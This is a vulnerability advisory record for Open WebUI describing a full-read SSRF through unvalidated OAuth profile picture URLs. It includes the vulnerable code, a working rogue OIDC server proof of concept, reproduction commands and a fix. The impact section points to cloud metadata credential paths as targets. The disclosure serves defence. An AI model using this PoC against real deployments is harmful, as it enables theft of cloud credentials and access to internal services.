{"id":"PYSEC-2026-2691","summary":"Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)","details":"## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.\n\n## Vulnerable Code\n```python\n# backend/open_webui/utils/oauth.py, line ~1337-1345\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -\u003e str:\n    # No validate_url() call here\n    async with aiohttp.ClientSession(trust_env=True) as session:\n        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:\n            if resp.ok:\n                picture = await resp.read()\n                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')\n                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'\n```\n\nThe codebase already uses `validate_url()` for the same SSRF protection pattern in other paths:\n- `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)`\n- `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)`\n\nThe omission in `_process_picture_url()` is inconsistent with the project's own security practices.\n\n## Affected Code Paths\n\n1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get('access_token'))`\n2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true`\n\n## Steps to Reproduce\n\n### Prerequisites\n- Open WebUI instance with generic OIDC OAuth configured\n- `ENABLE_OAUTH_SIGNUP=true`\n\n### Setup\n\n**1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint:\n```python\n\"\"\"Minimal OIDC PoC server - save as poc_oidc.py\"\"\"\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, urllib.parse\n\nSSRF_TARGET = \"http://host.docker.internal:9000/canary\"\nCANARY = \"SSRF_CONFIRMED_OPEN_WEBUI\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        path = urllib.parse.urlparse(self.path).path\n        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)\n        if path == \"/.well-known/openid-configuration\":\n            self._json({\"issuer\":\"http://host.docker.internal:9000\",\n                \"authorization_endpoint\":\"http://localhost:9000/authorize\",\n                \"token_endpoint\":\"http://host.docker.internal:9000/token\",\n                \"userinfo_endpoint\":\"http://host.docker.internal:9000/userinfo\",\n                \"jwks_uri\":\"http://host.docker.internal:9000/jwks\",\n                \"response_types_supported\":[\"code\"],\"subject_types_supported\":[\"public\"],\n                \"id_token_signing_alg_values_supported\":[\"RS256\"],\n                \"token_endpoint_auth_methods_supported\":[\"client_secret_post\",\"client_secret_basic\"]})\n        elif path == \"/authorize\":\n            ru = query.get(\"redirect_uri\",[\"\"])[0]\n            st = query.get(\"state\",[\"\"])[0]\n            self.send_response(302)\n            self.send_header(\"Location\", f\"{ru}?code=poc-code&state={st}\")\n            self.end_headers()\n        elif path == \"/userinfo\":\n            self._json({\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET})\n        elif path == \"/jwks\":\n            self._json({\"keys\":[]})\n        elif path == \"/canary\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\",\"text/plain\")\n            body = CANARY.encode()\n            self.send_header(\"Content-Length\",len(body))\n            self.end_headers()\n            self.wfile.write(body)\n            print(f\"!!! CANARY FETCHED - SSRF CONFIRMED !!!\")\n        else:\n            self.send_response(404); self.end_headers()\n    def do_POST(self):\n        if \"/token\" in self.path:\n            self._json({\"access_token\":\"tok\",\"token_type\":\"bearer\",\"expires_in\":3600,\n                \"userinfo\":{\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET}})\n    def _json(self, d):\n        b = json.dumps(d).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\",\"application/json\")\n        self.send_header(\"Content-Length\",len(b))\n        self.end_headers()\n        self.wfile.write(b)\n\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\n```\n\n**2. Run the PoC server:**\n```bash\npython3 poc_oidc.py\n```\n\n**3. Start Open WebUI with Docker:**\n```bash\ndocker run -d -p 3000:8080 \\\n  --name owui-ssrf-test \\\n  --add-host=host.docker.internal:host-gateway \\\n  -e ENABLE_OAUTH_SIGNUP=true \\\n  -e WEBUI_AUTH=true \\\n  -e OAUTH_CLIENT_ID=test-client \\\n  -e OAUTH_CLIENT_SECRET=test-secret \\\n  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \\\n  -e OAUTH_PROVIDER_NAME=TestOIDC \\\n  -e \"OAUTH_SCOPES=openid email profile\" \\\n  ghcr.io/open-webui/open-webui:main\n```\n\n**4. Create an admin account** at `http://localhost:3000`, then sign out.\n\n**5. Click \"Continue with TestOIDC\"** on the login page.\n\n**6. Observe the PoC server terminal** - it prints `!!! CANARY FETCHED - SSRF CONFIRMED !!!`\n\n**7. Verify exfiltrated data is stored and readable:**\n```bash\ncurl -s http://localhost:3000/api/v1/auths/ \\\n  -H \"Authorization: Bearer \u003csession-token\u003e\" | python3 -c \"\nimport sys, json, base64\ndata = json.load(sys.stdin)\nurl = data.get('profile_image_url', '')\nif 'base64,' in url:\n    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()\n    print(f'DECODED: {decoded}')\n\"\n```\n\n**Result:** `DECODED: SSRF_CONFIRMED_OPEN_WEBUI`\n\nThe server fetched the attacker-controlled URL, base64-encoded the response, stored it as `profile_image_url`, and the attacker can read it back via the API.\n\n## Impact\n\nAn attacker can force the Open WebUI server to make HTTP requests to:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) to steal IAM credentials\n- **Internal network services** not exposed to the internet\n- **Localhost-bound services** (Redis, Elasticsearch, internal APIs)\n\nThis is a **full-read SSRF**: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded `profile_image_url` field.\n\n## Configuration Note\n\nThis vulnerability requires `ENABLE_OAUTH_SIGNUP=true` (for the new-user path) or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.\n\n## Suggested Fix\n\nApply `validate_url()` before fetching, consistent with existing patterns in the codebase:\n```python\nfrom open_webui.retrieval.web.utils import validate_url\n\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -\u003e str:\n    if not picture_url:\n        return '/user.png'\n    try:\n        validate_url(picture_url)  # Add this line\n        # ... rest unchanged\n```","aliases":["CVE-2026-45338","GHSA-24c9-2m8q-qhmh"],"modified":"2026-07-13T16:32:54.740212108Z","published":"2026-07-13T15:19:06.433679Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-24c9-2m8q-qhmh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45338"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.0"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-24c9-2m8q-qhmh"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.0"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2691.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}